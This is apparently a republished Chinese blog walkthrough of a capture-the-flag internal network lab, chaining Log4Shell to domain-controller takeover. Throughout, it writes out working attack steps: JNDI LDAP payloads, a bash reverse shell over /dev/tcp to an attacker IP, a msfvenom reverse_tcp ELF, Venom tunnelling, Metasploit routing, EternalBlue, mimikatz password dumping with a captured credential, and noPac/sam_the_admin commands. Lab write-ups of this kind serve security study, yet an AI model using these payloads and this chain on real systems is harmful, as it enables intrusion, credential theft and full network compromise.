安全攻防-kali内网渗透实战

本文阅读 5 分钟

首先对web进行端口扫描,发现38080端口和22端口

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225151936576-1908330236.png)

访问一下38080端口发现是一个error page

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225151945107-1875723458.png)

用Wappalyzer看一下是什么架构,但是好像没有检测出来

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225151953233-1350509433.png)

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

拿着报错去百度上发现应该是springboot

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225151959914-543021312.png)

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225152010937-9179775.png)

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225152017405-1408261463.png)

使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225152025841-135547768.png)

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225152036749-1230444917.png)

抓包修改Content-Type: appllication/x-www-form-urlencoded,并执行以下payload成功回显

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

[](https://img2020.cnblogs.com/blog/2238450/202112/2238450-20211225152055108-1525432058.png)

执行ls -al /看一下也成功

img

nc开启监听端口

img

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell

img

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

img

在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

img

使用xshell尝试连接

img

连接成功,拿到了宿主机的权限

img

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

img

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

img

ping一下是存活的

img

使用毒液把流量代理出来,首先开启监听

admin.exe -lport 7777

img

然后上传agent_linux到靶机上

img

加权并执行

chmod 777 agent_linux_x86 agent_linux_x86 -rhost 192.168.1.105 -rport 7777

img

连接成功

img

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

img

首先生成一个32位的elf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

img

然后加权并执行

chmod 777 shell.elf

./shell

img

kali使用exploit/multi/handler进行监听

img

获取到宿主机的shell

img

然后添加10.0.1.0/24段的路由

bg

route add 10.0.1.0 255.255.255.0 1
route print

img

然后配置proxychain4.conf文件并使用socks模块

search socks
use auxiliary/sevrer/socks_proxy
run

img

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

proxychains4 nmap -sT -Pn 10.0.1.7

img

发现有445端口,那么对445端口进一步扫描

img

先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1

img

看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝

img

使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷

img

run之后拿到一个system权限的meterpreter

img

在C:UsersrootDesktop下拿到第二个flag

img

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

img

ipconfig /all看到dns服务器为redteam.lab应该在域内

img

这里ping一下redteam.lab得到域控的ip为10.0.0.12

[](https://xzfile.aliyuncs.com/media/upload/picture/20211225154521-9cc56cc8-6556-1.png)

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击

privilege::debug
sekurlsa::logonpasswords

img

img

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

noPac.exe下载地址:https://github.com/cube0x0/noPac

img

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

img

这里直接使用sam_the_admin.py进行攻击

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

img

即可拿到DC的shell

img

在C:UsersAdministratorDesktop下找到最后一个flag

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/122243900
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复